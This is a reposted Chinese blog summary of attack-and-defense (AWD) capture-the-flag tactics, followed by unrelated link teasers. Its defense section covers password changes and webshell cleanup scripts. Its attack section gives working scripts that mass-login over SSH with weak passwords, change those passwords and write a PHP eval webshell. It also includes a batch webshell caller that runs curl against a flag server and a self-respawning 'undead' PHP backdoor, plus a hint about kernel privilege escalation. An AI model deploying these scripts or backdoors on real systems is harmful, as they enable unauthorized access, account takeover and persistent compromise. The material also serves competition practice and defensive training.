AWD攻防總結

基本防守策略

1、改用戶密碼和服務密碼

1)改linux用戶密碼:

#passwd

如果有權限就刪除用戶:

#userdel -r [用戶名]

2)改mysql密碼:

#update mysql.user set password=password('密碼') where user='root';

刪除匿名用戶:

#delete from mysql.user where user=' ';

刷新配置:

#flush privileges;

3)改網站后臺密碼

從網站頁面或者源碼或者御劍工具找到后臺頁面,然后嘗試弱口令登入后改管理員密碼。

2、Web防護

1)將網站目錄打包成tar

#tar -cvf [打包后的文件名.tar] [要打包的文件名]

2)用ssh或ftp將打包文件拉到本地

ssh法:

#scp 用戶名@IP地址:要下載的文件路徑 存放路徑

如:scp root@192.168.16.8:/root/flag.txt /root/

ftp法:

#ftp [IP地址]

#get [文件名]

或者用ftp登入軟件下載

3)將壓縮包解壓,然后拉到D盾里面掃描木馬文件

4)用ssh控制或ftp控制服務器將木馬文件刪除

3、關閉shell連接進程

1)查看正在連接的進程

#who

2)關閉連接進程

#pkill -kill -t pts/進程號

4、網站守護

1)查看新增文件,刪掉

# find ./ -cmin -30

2)刪除不死碼

# vim killshell.sh

# chmod 777 killshell.sh

# nohup ./killshell.sh &

----------------------------------------------------------------

#!/bin/bash

while true

do

rm -rf xxx.php

done

----------------------------------------------------------------

3)發現網站頁面有漏洞

# echo ?> xxx.php

PS:平臺root用戶可能是弱口令toor密碼,或者存在內核溢出提權。

chmod 777 payload

./payload

網神杯奇安信平臺溢出提權,4.4.0-31-generic Ubuntu 內核。

rm -rf /bin/curl

基本攻擊策略

1、弱口令攻擊

批量用戶登入修改密碼并寫入webshell且獲取flag值。

ls /home/

python3 ssh.py ???

--------------------------------------------------------------------

#!/usr/bin/env python

#-*- coding:utf-8 -*-

import paramiko

for i in [1,2,3,4,5,6,7,8,9,10]:

????try:

????????????host = "4.4."+str(i)+".100"

????????????s=paramiko.SSHClient()

????????????s.set_missing_host_key_policy(paramiko.AutoAddPolicy())

????????????s.connect(hostname=host,port=22,username='user1',password='123456')

????????????stdin,stdout,stderr = s.exec_command('passwd\n')

????????????stdin.write("123456\nPass@123.com\nPass@123.com\n")

????????????stdin,stdout,stderr = s.exec_command("echo '<?php eval($_POST[cmd]);?>'>/var/www/html/.zack.php")

????????????stdin,stdout,stderr = s.exec_command('curl http://192.168.245.250/getkey')

????????????print(host+':'+stdout.read().decode('utf-8'))

????????????s.close()

????except:

????????print(host+':Fails!')

--------------------------------------------------------------------

2、批量調用webshell獲取flag

用D盾掃描自己的網站木馬,根據木馬寫腳本。

python3 web.py

--------------------------------------------------------------------

#!/usr/bin/env python

#-*- coding:utf-8 -*-

import requests

for i in [1,2,3,4,5,6,7,8,9,10]:

????try:

????????url="http://4.4."+str(i)+".100:"+str(1005)+"/.zack.php"

????????result=requests.post(url,data={'cmd':"system('curl http://192.168.245.250/getkey');"},timeout=2)

????????print(url+'-->'+result.text)

????except:

????????print(url+'-->Fails!')

--------------------------------------------------------------------

3、不死碼種植

將不死碼上傳網站目錄,訪問不死碼后在當前目錄生成.zack.php后門webshell。

--------------------------------------------------------------------

<?php

set_time_limit(0);

#1表示忽略與客戶端斷開連接,繼續執行腳本

ignore_user_abort(1);

#執行完后刪除自身

unlink(__FILE__);

while (1) {

$content = '<?php @eval($_POST[zack]);?>';

file_put_contents(".zack.php", $content);

usleep(500); ?#暫停0.5秒鐘

}

?>

--------------------------------------------------------------------

殺死不死馬的方法,查看不死馬的進程ID:

# top | grep httpd

chmod 777 kill.sh

nohup ./kill.sh &

查到ID為 11198 ,根據ID號和webshell名寫.sh腳本。

# vim kill.sh

--------------------------------------------------------------------

#!/bin/bash

while true

????????do

????????????????kill -9 11198

????????????????rm -rf .shell.php

????????done

--------------------------------------------------------------------

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/95127.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/95127.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/95127.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Android14 基于Configfs的USB動態配置init.usb.configfs.rc

1 Android14 USB子系統啟動以及動態切換的init.usb.rc 2 Android14 基于Configfs的USB動態配置init.usb.configfs.rc 3 Android14 高通平臺的USB子系統啟動和動態配置init.qcom.usb.rc 1. 什么是ConfigFS ConfigFS 是 Linux 內核提供的一種用戶空間可配置的偽文件系統在Linu…

2025年KBS SCI1區TOP,矩陣差分進化算法+移動網絡視覺覆蓋無人機軌跡優化,深度解析+性能實測

目錄1.摘要2.系統模型和問題表述3.矩陣差分進化算法4.結果展示5.參考文獻6.算法輔導應用定制讀者交流1.摘要 本文提出了一種面向無人機&#xff08;UAV&#xff09;新型軌跡優化方法&#xff0c;以實現對地面移動節點的高效視覺覆蓋。與傳統方法不同&#xff0c;該方法顯式考慮…

Python OpenCV圖像處理與深度學習:Python OpenCV圖像幾何變換入門

圖像變換&#xff1a;掌握OpenCV中的幾何變換 學習目標 通過本課程&#xff0c;學員們將能夠理解圖像的幾何變換原理&#xff0c;包括縮放、旋轉和平移&#xff0c;并能夠使用Python和OpenCV庫實現這些變換。本課程將通過理論講解與實踐操作相結合的方式&#xff0c;幫助學員們…

Redis Windows 7.0.5 安裝教程(附exe/msi下載+環境配置+命令測試)

?第一步&#xff1a;下安裝包? 打開瀏覽器&#xff08;比如 Edge 或 Chrome&#xff09;&#xff0c;復制這個鏈接到地址欄敲回車&#xff1a; https://pan.quark.cn/s/31912e0d0443 進去后往下翻&#xff0c;找名字帶 ?**redis-7.0.5? 的文件&#xff0c;?選那個 .exe 結…

數據結構(單鏈表)

目錄 1.鏈表的概念及結構 2.單鏈表的應用 2.1 打印鏈表 2.2申請新節點 2.3插入&#xff08;尾刪和頭刪&#xff09; 2.4刪除&#xff08;尾刪和頭刪&#xff09; 2.5查找 2.6任意位置插入 2.7刪除指定位置的元素 2.8 銷毀鏈表 3.總結 1.鏈表的概念及結構 &#xff…

電腦沒加域卻能獲取到IP地址

企業網絡管理的核心邏輯&#xff01;電腦沒加域卻能獲取到IP地址&#xff0c;這完全是一種刻意為之的安全設計&#xff0c;而不是網絡故障。 簡單來說就是&#xff1a;“給你IP&#xff0c;但不給你權限。” 這背后是一套完整的 網絡準入控制&#xff08;NAC&#xff09; 策略。…

Go語言入門學習筆記

&#x1f4da; 前言 歡迎學習Go語言&#xff01;這份教材假設您是編程零基礎&#xff0c;從最基本的概念開始講解。Go語言&#xff08;也稱為Golang&#xff09;由Google開發&#xff0c;簡單、高效、并發能力強&#xff0c;適合后端開發、系統編程和云計算。 學習建議&#xf…

gradle安裝、配置環境變量、配置阿里源及idea 中配置gradle

下載gradle https://services.gradle.org/distributions/ 配置系統環境變量 新增GRADLE_HOME D:\Information_Technology\App\gradle-8.14.3-bin\gradle-8.14.3 新增GRADLE_USER_HOME D:\Information_Technology\App\gradleHouse 設置 path&#xff0c;新增一行 %GRADLE_…

C# FlaUI win 自動化框架,介紹

一、簡潔介紹 FlaUI 是一套基于 .NET 的 Windows 桌面應用自動化測試庫&#xff0c;支持 Win32、WinForms、WPF、UWP 等多種類型的應用。它基于微軟原生 UI Automation 庫&#xff0c;提供了更現代、易用的 API&#xff0c;適合自動化測試工程師和開發者實現高效、可維護的 UI …

命名空間級別應用 Pod 安全標準

&#x1f3af; 命名空間級別應用 Pod 安全標準 一、創建 Kubernetes 集群&#xff08;使用 kind&#xff09; 使用 kind &#xff08;Kubernetes IN Docker&#xff09;快速創建一個本地集群&#xff1a; kind create cluster --name my-cluster驗證集群是否運行正常&#xff1…

Ubuntu 25.10 Snapshot4 發布。

Ubuntu 25.10 的第四個快照&#xff08;Snapshot 4&#xff09;已于 2025 年 8 月 28 日發布&#xff0c;供開發者和測試人員進行驗證。這是 Ubuntu 25.10 正式發布前的最后一個月度快照&#xff0c;標志著該版本已進入功能凍結階段&#xff0c;預計將在 10 月發布正式版。 Ca…

STM32F2/F4系列單片機解密和芯片應用介紹

STM32F2/F4系列單片機解密和芯片應用介紹STM32F2和STM32F4系列微控制器憑借其出色的性能、豐富的外設接口和強大的連接能力&#xff0c;在很多對計算能力和實時性有要求的領域都有應用。同時&#xff0c;芯片解密的價格因其型號、加密技術等因素差異較大。&#x1f9ed; 重要提…

250901-BookStack跨服務器從Rootless-Docker到Rootful-Docker的備份遷移及服務啟動

下面給你一套「可離線、最小停機」的遷移步驟&#xff0c;從 A&#xff08;rootless&#xff09;搬到 B&#xff08;rootful&#xff09;。思路是&#xff1a;停 A → 打包數據卷 → 傳到 B → 還原 → 用同版本鏡像啟動 → 驗證。整套操作不依賴公網&#xff0c;只用你已有的離…

(Redis)Redis 分布式鎖及改進策略詳解

一、為什么需要分布式鎖在單機應用中&#xff0c;synchronized 或 ReentrantLock 足以解決并發問題。但在 分布式系統 中&#xff0c;多臺服務器之間共享同一個資源時&#xff0c;如果沒有鎖&#xff0c;很可能出現 超賣、重復扣減、數據不一致 等問題。 因此&#xff0c;分布式…

Linux應用開發-windows,linux環境下相關工具

VS Code Remote - SSH 虛擬機部分的操作 sudo systemctl status sshsudo apt update sudo apt install openssh-server sudo systemctl start ssh sudo systemctl enable ssh # 設置開機自啟hostname -IVS Code部分的操作 安裝 Remote - SSH 插件 vscode右下角出現&#xff…

Java泛型通配符詳解:搞懂?/extends/super用法,避開集合操作踩坑點

上次跟你們聊了泛型的基礎用法&#xff0c;今天接著往下說 —— 泛型里還有個挺重要的概念叫 “通配符”&#xff0c;就是那個問號 “?”&#xff0c;很多人第一次見都懵&#xff1a;這玩意兒跟普通泛型有啥區別&#xff1f;為啥有時候非得用它不可&#xff1f;小索奇當初也卡…

EXCEL開發之路(二)跨表交互模擬—仙盟創夢IDE

在車輛租賃行業&#xff0c;數據的高效管理與分析對于企業的運營決策、資源調配及客戶服務優化至關重要。自建 Excel 實現多表統計交互&#xff0c;如同為行業裝上了效能驅動引擎&#xff0c;助力企業在復雜多變的市場環境中穩健前行。一、精準資源管理&#xff0c;優化車輛調配…

醫療AI時代的生物醫學Go編程:高性能計算與精準醫療的案例分析(八)

5.4 性能測試與結果分析 為了評估GoEHRStream的性能,我們設計測試模擬真實的醫院數據流場景,并測量關鍵指標。 5.4.1 實驗環境 硬件: CPU: Intel Xeon E-2288G (8 cores, 16 threads) RAM: 32 GB DDR4 Storage: 512 GB NVMe SSD (用于GoEHRStream和BadgerDB) Network: 1 G…

開關電源設計“反饋回路”部分器件分析

目錄 主要分析問題如下&#xff1a; 一、問題1 二、問題二 分析電路如下&#xff1a; 主要分析問題如下&#xff1a; 1、分析TL431芯片1、2兩引腳間并聯電阻和電容&#xff08;RC電路&#xff09;的作用&#xff1f; 2、PC817A光耦輸入兩個引腳間并聯電阻的作用&#xff1f;…

AI 編程新玩法:用 yunqi-saas-kit 框架制作小游戲,看廣告變現輕松賺錢?

AI 編程新玩法&#xff1a;用 yunqi-saas-kit 框架制作小游戲&#xff0c;看廣告變現輕松賺錢 在數字經濟快速發展的當下&#xff0c;AI 技術正不斷滲透到各個領域&#xff0c;其中 **#AI 編程憑借高效、便捷的優勢&#xff0c;成為不少開發者和創業者的新選擇。尤其是在小游戲…